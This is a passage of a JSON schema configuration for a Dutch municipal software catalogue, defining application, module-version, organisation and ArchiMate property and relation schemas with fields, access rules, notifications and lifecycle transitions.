"description": "De product-identifier op endoflife.date die bij deze applicatie hoort (bijv. \"postgresql\"). Optioneel; alleen gezet wanneer een beheerder deze applicatie koppelt aan een endoflife.date-product voor automatische einde-ondersteuning-matching. Zonder deze waarde slaat de EOL-matcher deze applicatie volledig over (geen lees- of schrijfactie).", - "type": "string", - "order": 52, - "facetable": false, - "title": "Endoflife.date product-slug", - "example": "postgresql" - }, - "bbnLevel": { - "description": "Het BBN-niveau (Baseline Informatiebeveiliging Overheid) waarop deze applicatie is geclassificeerd.", - "type": "string", - "visible": true, - "order": 53, - "enum": [ - "BBN1", - "BBN2", - "BBN3" - ], - "facetable": true, - "title": "BBN level", - "table": { - "default": true - }, - "example": "Bijvoorbeeld: BBN2" - }, - "dpiaStatus": { - "description": "De status van de Data Protection Impact Assessment (DPIA) voor deze applicatie.", - "type": "string", - "visible": true, - "order": 54, - "enum": [ - "not required", - "required", - "executed" - ], - "facetable": true, - "title": "DPIA status", - "table": { - "default": true - }, - "example": "Bijvoorbeeld: executed" - }, - "dpiaDate": { - "description": "De datum waarop de DPIA is uitgevoerd. Alleen betekenisvol wanneer dpiaStatus 'executed' is; dit wordt niet afgedwongen bij het opslaan.", - "type": "string", - "format": "date", - "visible": true, - "order": 55, - "facetable": false, - "title": "DPIA date", - "example": "Bijvoorbeeld: 2026-03-01" - }, - "dpiaNextAssessment": { - "description": "De datum waarop de DPIA opnieuw beoordeeld moet worden.", - "type": "string", - "format": "date", - "visible": true, - "order": 56, - "facetable": false, - "title": "Next DPIA review date", - "example": "Bijvoorbeeld: 2027-03-01" - }, - "dpiaDocumentRef": { - "description": "Nextcloud Files-verwijzing naar het DPIA-document (link, niet opslaan), naar analogie van compliancy.bewijsReferentie.", - "type": "string", - "visible": true, - "order": 57, - "facetable": false, - "title": "DPIA document (Nextcloud Files)" - }, - "verwerkingsregisterRef": { - "description": "Verwijzing (URL of identifier) naar de vermelding van deze applicatie in het register van verwerkingen van de organisatie. Dit veld slaat alleen de verwijzing op; het register zelf wordt niet gemodelleerd.", - "type": "string", - "visible": true, - "order": 58, - "facetable": false, - "title": "Processing register reference" - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "gebruik-beheerder", - { - "group": "public", - "match": { - "publicationDate": { - "$lte": "$now" - } - } - }, - { - "group": "aanbod-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "public", - "match": { - "registeredBy": "Supplier" - } - } - ] - }, - "configuration": { - "objectNameField": "name", - "objectSummaryField": "shortDescription", - "objectDescriptionField": "longDescription", - "objectImageField": "logo", - "allowFiles": true, - "allowedTags": [ - "Documentatie", - "Handleiding", - "Technische specificatie" - ], - "autoPublish": true, - "jsonld": { - "type": "https://schema.org/SoftwareApplication" - }, - "x-openregister-dedup": { - "blockingKeys": [], - "matchRules": [ - { - "field": "name", - "method": "normalized", - "weight": 0.4 - }, - { - "field": "name", - "method": "levenshtein", - "weight": 0.2 - }, - { - "field": "provider", - "method": "exact", - "weight": 0.3 - }, - { - "field": "website", - "method": "normalized", - "weight": 0.1 - } - ], - "threshold": 0.7 - }, - "x-openregister-quality": { - "field": "qualityScore", - "statusField": "qualityStatus", - "rules": [ - { - "type": "required", - "field": "name", - "weight": 2 - }, - { - "type": "required", - "field": "provider", - "weight": 2 - }, - { - "type": "required", - "field": "licence", - "weight": 1 - }, - { - "type": "required", - "field": "longDescription", - "weight": 1 - } - ], - "thresholds": { - "good": 0.8, - "fair": 0.5 - } - } - } - }, - "moduleVersion": { - "uri": null, - "slug": "moduleVersion", - "x-openregister-notifications": { - "module-version-published": { - "trigger": { - "type": "created" - }, - "enabled": true, - "channels": [ - "nc-notification" - ], - "recipients": [ - { - "kind": "object-acl", - "permission": "manage" - }, - { - "kind": "groups", - "groups": [ - "software-catalog-admins" - ] - } - ], - "subject": { - "nl": "Nieuwe moduleversie: {{versie}}", - "en": "New module version: {{versie}}" - } - }, - "eol-approaching": { - "trigger": { - "type": "scheduled", - "intervalSec": 86400, - "filter": { - "dateEndSupport": { - "operator": "withinNext", - "value": "P180D" - } - } - }, - "enabled": true, - "channels": [ - "nc-notification", - "email" - ], - "recipients": [ - { - "kind": "groups", - "groups": [ - "software-catalog-admins" - ] - }, - { - "kind": "object-acl", - "permission": "manage" - } - ], - "subject": { - "nl": "Einde ondersteuning nadert: {{versie}} (einddatum {{datumEindeOndersteuning}})", - "en": "End of support approaching: {{versie}} (end date {{datumEindeOndersteuning}})" - } - } - }, - "title": "Application version", - "description": "Schema voor applicatieversies", - "version": "0.1.5", - "omschrijving": "", - "icon": "ViewModule", - "required": [], - "properties": { - "module": { - "description": "De applicatie waarvan dit een versie is", - "type": "object", - "order": 1, - "title": "Application", - "facetable": false, - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/module", - "inversedBy": "moduleVersion" - }, - "version": { - "description": "Voer de versie van uw applicatie in; dit kan een nummer, tekst of combinatie daarvan zijn.", - "type": "string", - "order": 2, - "title": "Version", - "default": "1.0.0" - }, - "package_version_description": { - "description": "Beschrijving van de pakketversie", - "type": "string", - "order": 2, - "title": "Package version description" - }, - "shortDescription": { - "description": "Een korte omschrijving van de versie (256 karakters)", - "type": "string", - "order": 3, - "title": "Short description", - "maxLength": 255 - }, - "longDescription": { - "description": "Uitgebreide beschrijving van de applicatieversie", - "type": "string", - "order": 4, - "title": "Description", - "format": "markdown" - }, - "status": { - "description": "Geef aan wat de status van de versie is.", - "type": "string", - "order": 13, - "title": "Status", - "enum": [ - "in development", - "in use", - "end of support", - "withdrawn" - ], - "default": "in use" - }, - "dateInDevelopment": { - "description": "Startdatum van de ontwikkelingsfase", - "type": "string", - "format": "date", - "order": 14, - "title": "Date in development" - }, - "dateInUse": { - "description": "Startdatum van gebruik", - "type": "string", - "format": "date", - "order": 15, - "title": "Date in use" - }, - "dateEndSupport": { - "description": "Startdatum einde ondersteuning", - "type": "string", - "format": "date", - "order": 16, - "title": "End of support date" - }, - "dateWithdrawn": { - "description": "Datum waarop de applicatie teruggetrokken is", - "type": "string", - "format": "date", - "order": 17, - "title": "Date withdrawn" - }, - "usages": { - "description": "Het gebruik van deze applicatieversie", - "type": "array", - "visible": true, - "order": 18, - "facetable": false, - "title": "Usage", - "$ref": "#/components/schemas/usage", - "x-relation-filter": { - "moduleVersion": "@objectId" - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/usage" - } - }, - "registeredBy": { - "description": "Technische property die wordt gebruikt voor RBAC-doeleinden (toegangsbeheer op basis van partijtype)", - "type": "string", - "order": 19, - "facetable": true, - "title": "Registered by", - "visible": false, - "hideOnForm": true, - "enum": [ - "Municipality", - "Application", - "Collaboration", - "Supplier" - ] - }, - "eolSource": { - "description": "Herkomst van de gestempelde einde-ondersteuning-datum (bijv. \"endoflife.date\"). Alleen gezet door de EOL-matcher; afwezig bij een handmatig ingevoerde datumEindeOndersteuning.", - "type": "string", - "order": 20, - "facetable": false, - "title": "EOL source", - "example": "endoflife.date" - }, - "eolUpdatedOn": { - "description": "Tijdstip waarop de EOL-matcher deze versie voor het laatst heeft bijgewerkt vanuit de bron. Alleen gezet door de EOL-matcher; afwezig bij een handmatig ingevoerde datumEindeOndersteuning.", - "type": "string", - "format": "date-time", - "order": 21, - "facetable": false, - "title": "EOL updated on" - }, - "sbomLastImportedAt": { - "description": "Tijdstip waarop de laatste SBOM (Software Bill of Materials) voor deze versie is geïmporteerd", - "type": "string", - "format": "date-time", - "order": 22, - "title": "SBOM last imported on", - "visible": true, - "facetable": false, - "hideOnForm": true - }, - "sbomFormat": { - "description": "Formaat van de laatst geïmporteerde SBOM", - "type": "string", - "order": 23, - "title": "SBOM format", - "visible": true, - "facetable": false, - "hideOnForm": true, - "enum": [ - "cyclonedx-json", - "spdx-json" - ] - }, - "sbomFileName": { - "description": "Bestandsnaam van de laatst geïmporteerde SBOM", - "type": "string", - "order": 24, - "title": "SBOM file name", - "visible": true, - "facetable": false, - "hideOnForm": true - }, - "sbomComponents": { - "description": "De componenten die voor deze versie zijn geïmporteerd uit een SBOM", - "type": "array", - "visible": true, - "order": 25, - "facetable": false, - "title": "SBOM components", - "hideOnForm": true, - "$ref": "#/components/schemas/sbomComponent", - "x-relation-filter": { - "moduleVersion": "@objectId" - }, - "items": { - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "$ref": "#/components/schemas/sbomComponent", - "inversedBy": "moduleVersion" - } - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "system", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "objectNameField": "version", - "objectSummaryField": "shortDescription", - "objectDescriptionField": "longDescription", - "autoPublish": true, - "x-openregister-lifecycle": { - "field": "status", - "initial": "in development", - "final": [ - "withdrawn" - ], - "transitions": { - "release": { - "from": [ - "in development" - ], - "to": "in use", - "description": "Release the module version." - }, - "sunset": { - "from": [ - "in use" - ], - "to": "end of support", - "description": "Mark the module version as end-of-support." - }, - "withdraw": { - "from": [ - "in use", - "end of support" - ], - "to": "withdrawn", - "description": "Withdraw the module version." - } - } - } - } - }, - "organization": { - "uri": null, - "slug": "organization", - "x-schema-org": "schema:Organization", - "title": "Organization", - "description": "An organisation that offers provisions. Absorbs the former ArchiMate `organization` schema: its identity and statutory identifiers (name, summary, description, oin, tooi, rsin, pki, image) and its ArchiMate round-trip `xml` are declared here, so there is one organisation schema rather than two that shared no property.", - "version": "0.5.1", - "omschrijving": "", - "icon": "OfficeBuildingOutline", - "required": [ - "contactsUid", - "type" - ], - "properties": { - "name": { - "description": "The name of the organisation. Mirrors the identity held in Nextcloud Contacts via contactsUid, and is what the ArchiMate export round-trips. Deliberately NOT required: the existing records delegate their identity to Contacts and would otherwise all become invalid.", - "type": "string", - "minLength": 1, - "visible": true, - "order": 53, - "facetable": true, - "title": "Name", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "summary": { - "description": "Brief description of the organisation.", - "type": "string", - "minLength": 1, - "visible": true, - "order": 54, - "facetable": false, - "title": "Summary", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "description": { - "description": "Detailed description of the organisation.", - "type": "string", - "visible": true, - "order": 55, - "facetable": false, - "title": "Description", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "oin": { - "description": "Organisation Identification Number (OIN).", - "type": "string", - "pattern": "^0000000\\d{10}000$", - "visible": true, - "order": 56, - "facetable": true, - "title": "OIN", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "tooi": { - "description": "TOOI identifier for the organisation.", - "type": "string", - "pattern": "^\\w{2,}\\d{4}$", - "visible": true, - "order": 57, - "facetable": true, - "title": "TOOI", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "rsin": { - "description": "RSIN number for tax identification.", - "type": "string", - "pattern": "^\\d{9}$", - "visible": true, - "order": 58, - "facetable": true, - "title": "RSIN", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "pki": { - "description": "PKI certificate information.", - "type": "string", - "visible": true, - "order": 59, - "facetable": false, - "title": "PKI", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "image": { - "description": "Logo or image of the organisation.", - "type": "file", - "visible": true, - "order": 60, - "facetable": false, - "title": "Image" - }, - "xml": { - "description": "Original ArchiMate XML structure, kept for round-trip export fidelity.", - "type": "object", - "visible": false, - "order": 61, - "facetable": false, - "title": "ArchiMate XML" - }, - "contactsUid": { - "description": "Verwijzing (UID) naar de Nextcloud-contactpersoon van het type organisatie in het adresboek (OCP\\Contacts\\IManager). Identiteit (naam, e-mail, website, logo, CBS/KvK-code) leeft in Nextcloud Contacts; dit record bewaart alleen de catalogus-specifieke relatie/rol.", - "type": "string", - "required": true, - "visible": true, - "order": 0, - "maxLength": 255, - "facetable": false, - "title": "Contact-UID", - "example": "Bijvoorbeeld: 3f2b0c5e-1234-4a9b-8c1d-9f0e1a2b3c4d" - }, - "contactpersonen": { - "description": "De contactpersoon van de organisatie", - "type": "array", - "visible": true, - "order": 4, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "#/components/schemas/contactPerson", - "x-relation-filter": { - "organization": "@objectId" - }, - "items": { - "cascadeDelete": false, - "$ref": "#/components/schemas/contactPerson", - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "inversedBy": "organization" - }, - "objectConfiguration": { - "handling": null, - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Contact persons", - "authorization": { - "read": [ - "authenticated" - ] - } - }, - "deelnames": { - "description": "Deelnames van deze organisatie in andere organisaties", - "type": "array", - "visible": true, - "order": 5, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "#/components/schemas/organization", - "items": { - "cascadeDelete": false, - "$ref": "#/components/schemas/organization", - "type": "object", - "objectConfiguration": { - "handling": "related-object" - } - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Participations" - }, - "participants": { - "description": "Deelnemers in deze organisatie", - "type": "array", - "visible": true, - "order": 6, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "#/components/schemas/organization", - "items": { - "cascadeDelete": false, - "$ref": "#/components/schemas/organization", - "type": "object", - "objectConfiguration": { - "handling": "related-object" - }, - "inversedBy": "deelnames" - }, - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "Participants", - "writeBack": true, - "removeAfterWriteBack": false - }, - "type": { - "description": "Type van de organisatie (Gemeente, Leverancier, Samenwerking) ", - "title": "Organization type", - "type": "string", - "required": true, - "visible": true, - "facetable": { - "aggregated": false, - "title": "Organization type", - "description": "Type van de organisatie", - "order": null - }, - "order": 3, - "minLength": null, - "maxLength": null, - "immutable": true, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "enum": [ - "Municipality", - "Supplier", - "Collaboration", - "Community" - ], - "hideOnCollection": true - }, - "status": { - "description": "Geeft aan of de VNG de organisatie positief beoordeeld heeft voor toegang tot de Softwarecatalogus", - "title": "Status", - "type": "string", - "default": "Draft", - "visible": false, - "hideOnCollection": true, - "facetable": false, - "order": 17, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "enum": [ - "Draft", - "Active", - "Inactive", - "merged" - ] - }, - "mergedInto": { - "description": "Organisation-merge tombstone: the target organisation UUID this organisation was merged into. Set only when status equals 'samengevoegd'; absent/null on every organisation that has never been a merge source.", - "title": "Merged with", - "type": "string", - "visible": false, - "hideOnCollection": true, - "hideOnForm": true, - "facetable": false, - "order": 52, - "maxLength": 255 - }, - "registrationStatus": { - "description": "Moderatiestatus van een (anoniem) zelf-geregistreerde organisatie. 'pending' tot een beheerder de registratie goedkeurt; pas daarna 'active'. Anoniem geregistreerde organisaties zijn 'pending' en niet zichtbaar in de open-data/federatie-laag tot goedkeuring.", - "title": "Registration status", - "type": "string", - "visible": false, - "hideOnCollection": true, - "facetable": true, - "order": 18, - "enum": [ - "pending", - "active", - "rejected" - ] - }, - "publicationDate": { - "description": "Publication date as open data. Anonymous (public) readers can see this organisation profile once publicatiedatum is set and not in the future. Set by the open-data publish action; cleared by depublish.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 50, - "facetable": false, - "title": "Publication date" - }, - "depublicationDate": { - "description": "Depublication date. When set (and not in the future) the organisation is withdrawn from the open-data surface. Set by the depublish action.", - "type": "string", - "format": "date-time", - "visible": true, - "order": 51, - "facetable": false, - "title": "Unpublication date" - }, - "samenwerkingtype": { - "description": "Type samenwerking van de organisatie", - "title": "Collaboration type", - "type": "string", - "visible": false, - "facetable": true, - "order": 14, - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "inversedBy": "", - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "enum": [ - "Implementing organisation", - "Social Domain collaboration", - "Shared Service Center", - "samenwerkingtype", - "Environmental agency", - "ICT (for example Shared Service Center)", - "Municipal reorganisation (planned)", - "Joint Arrangement (collaboration across multiple domains)", - "Joint Arrangement", - "DVO", - "Central municipality arrangement", - "Tax collaboration", - "Operations organisation", - "Archive service (regional)", - "Administrative merger" - ] - }, - "registeredBy": { - "description": "Technische property die wordt gebruikt voor RBAC-doeleinden (toegangsbeheer op basis van partijtype)", - "type": "string", - "order": 18, - "facetable": true, - "title": "Registered by", - "visible": false, - "hideOnForm": true, - "enum": [ - "Municipality", - "Application", - "Collaboration", - "Supplier" - ] - } - }, - "archive": [], - "source": "internal", - "hardValidation": false, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "1", - "application": null, - "organisation": null, - "groups": null, - "authorization": { - "create": [ - "public", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar", - "aanbod-beheerder" - ], - "read": [ - { - "group": "gebruik-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "public", - "match": { - "publicationDate": { - "$lte": "$now" - } - } - }, - { - "group": "aanbod-beheerder", - "match": { - "_organisation": "$organisation" - } - }, - { - "group": "public", - "match": { - "registeredBy": "Supplier", - "status": "Active" - } - }, - { - "group": "public", - "match": { - "type": "Municipality", - "status": "Active" - } - }, - { - "group": "public", - "match": { - "type": "Collaboration", - "status": "Active" - } - } - ], - "update": [ - "aanbod-beheerder", - "ambtenaar", - "functioneel-beheerder", - "gebruik-beheerder", - "gebruik-raadpleger", - "organisatie-beheerder", - "organisaties-beheerder", - "software-catalog-admins", - "software-catalog-users", - "vng-raadpleger" - ], - "delete": [ - "aanbod-beheerder", - "vng-raadpleger", - "software-catalog-users", - "software-catalog-admins", - "organisaties-beheerder", - "organisatie-beheerder", - "gebruik-raadpleger", - "gebruik-beheerder", - "functioneel-beheerder", - "ambtenaar" - ] - }, - "configuration": { - "objectNameField": "contactsUid", - "allowFiles": true, - "allowedTags": [ - "Verklaring betaling sociale premies", - "Verklaring betaling belastingen", - "Bestuurdersverklaring", - "Uittreksel KvK", - "BTW-nummer bevestiging", - "Compliance verklaring", - "Jaarrekening", - "ISO-certificaten", - "Privacy verklaring", - "AVG compliance document", - "ESPD (Europees aanbestedingsdocument)", - "Integriteitsverklaring", - "Financiële capaciteitsverklaring", - "Technische capaciteitsverklaring", - "Kwaliteitscertificaten", - "Milieucertificaten", - "Verzekeringsbewijs", - "Beroepsaansprakelijkheidsverzekering", - "Referentieprojecten", - "VCA-certificaat", - "BRL-certificaten", - "CE-markering documenten", - "Aanbestedingsdocumentatie" - ], - "autoPublish": true, - "jsonld": { - "type": "https://schema.org/Organization" - }, - "implements": [ - "https://schema.org/Organization", - "https://openregister.app/ns#Vendor" - ], - "x-openregister-dedup": { - "blockingKeys": [], - "matchRules": [ - { - "field": "contactsUid", - "method": "exact", - "weight": 1 - } - ], - "threshold": 0.7 - }, - "x-openregister-quality": { - "field": "qualityScore", - "statusField": "qualityStatus", - "rules": [ - { - "type": "required", - "field": "contactsUid", - "weight": 3 - }, - { - "type": "required", - "field": "type", - "weight": 1 - }, - { - "type": "required", - "field": "status", - "weight": 1 - } - ], - "thresholds": { - "good": 0.8, - "fair": 0.5 - } - }, - "$comment-lifecycle": "🔴 THE STATE NAMES HERE ARE THE ENUM'S VALUES, NOT LABELS. #520 translated the status enum (Concept/Actief/Deactief -> Draft/Active/Inactive) and migrated the stored rows, but left this block in Dutch, so `initial`, `final` and every `from`/`to` named a value no row can hold: the initial state wrote an out-of-enum value and no transition could ever match. Nothing errors — a transition whose `from` matches nothing is simply never offered — so it reads as a lifecycle nobody uses.", - "x-openregister-lifecycle": { - "field": "status", - "initial": "Draft", - "final": [ - "Inactive" - ], - "transitions": { - "activate": { - "from": [ - "Draft" - ], - "to": "Active", - "description": "Activate the organisation." - }, - "deactivate": { - "from": [ - "Active" - ], - "to": "Inactive", - "description": "Deactivate the organisation." - }, - "reactivate": { - "from": [ - "Inactive" - ], - "to": "Active", - "description": "Re-activate a deactivated organisation." - } - } - } - } - }, - "property-definition": { - "uri": null, - "slug": "property-definition", - "title": "Property Definition", - "description": "AMEF Property Definition - Definitie van eigenschappen voor ArchiMate elementen", - "version": "0.0.8", - "omschrijving": "", - "icon": "CogOutline", - "required": [ - "identifier", - "type" - ], - "properties": { - "identifier": { - "description": "De identifier van deze Property Definition", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "propid-43", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "identifier", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "type": { - "description": "De type van deze Property Definition", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "string", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "type", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "name": { - "description": "De name van deze Property Definition", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "API-portaal", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "name", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "nameLong": { - "description": "De name-language van deze Property Definition", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "nameLong", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "xml": { - "type": "object", - "title": "XML Data", - "description": "Original ArchiMate XML structure for round-trip export fidelity" - } - }, - "archive": [], - "source": "internal", - "hardValidation": true, - "immutable": false, - "searchable": true, - "maxDepth": 0, - "owner": "softwarecatalog", - "application": "softwarecatalog", - "organisation": null, - "groups": null, - "authorization": { - "read": [ - "public" - ] - }, - "configuration": { - "objectNameField": "name | identifier", - "objectDescriptionField": "type" - } - }, - "relation": { - "uri": null, - "slug": "relation", - "title": "Relation", - "description": "AMEF Relation - Relaties tussen architectuur elementen uit het ArchiMate model", - "version": "0.0.8", - "omschrijving": "", - "icon": "ArrowRight", - "required": [ - "identifier", - "source", - "target", - "type", - "properties" - ], - "properties": { - "identifier": { - "description": "De identifier van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "id-1b46181d68e5477a9c0b5a95a0677924", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "identifier", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "source": { - "description": "De source van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "id-d143a1fc-02dc-11e6-11ba-005056a85f9c", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "source", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "target": { - "description": "De target van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "id-a85f22d89af14222a914fcb9ecfe6815", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "target", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "type": { - "description": "De type van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Access", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "facetable": false, - "title": "type", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "accessType": { - "description": "De accessType van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Read", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "accessType", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "isDirected": { - "description": "De isDirected van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "true", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "isDirected", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "name": { - "description": "De name van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Verplicht", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "name", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "nameLong": { - "description": "De name-language van deze Relation", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "nameLong", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "documentation": { - "description": "De documentation van deze Relation", - "type": "string", - "minLength": null, - "maxLength": null, - "example": "Op basis van het zaaktype routeert de servicebuscomponent de aanvraag naar een Zaakafhandelcomponent (generiek of specifiek).", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "documentation", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "documentationLong": { - "description": "De documentation-lang van deze Relation", - "type": "string", - "minLength": 2, - "maxLength": 2, - "example": "nl", - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - "maxItems": null, - "$ref": "", - "objectConfiguration": { - "handling": "nested-object", - "schema": "" - }, - "fileConfiguration": { - "handling": "ignore", - "allowedMimeTypes": [], - "location": "", - "maxSize": 0 - }, - "oneOf": [], - "title": "documentationLong", - "table": { - "enabled": true, - "indexed": false, - "searchable": false - } - }, - "properties": { - "description": "De properties van deze Relation", - "type": "array", - "minLength": null, - "maxLength": null, - "minimum": null, - "maximum": null, - "multipleOf": null, - "minItems": null, - 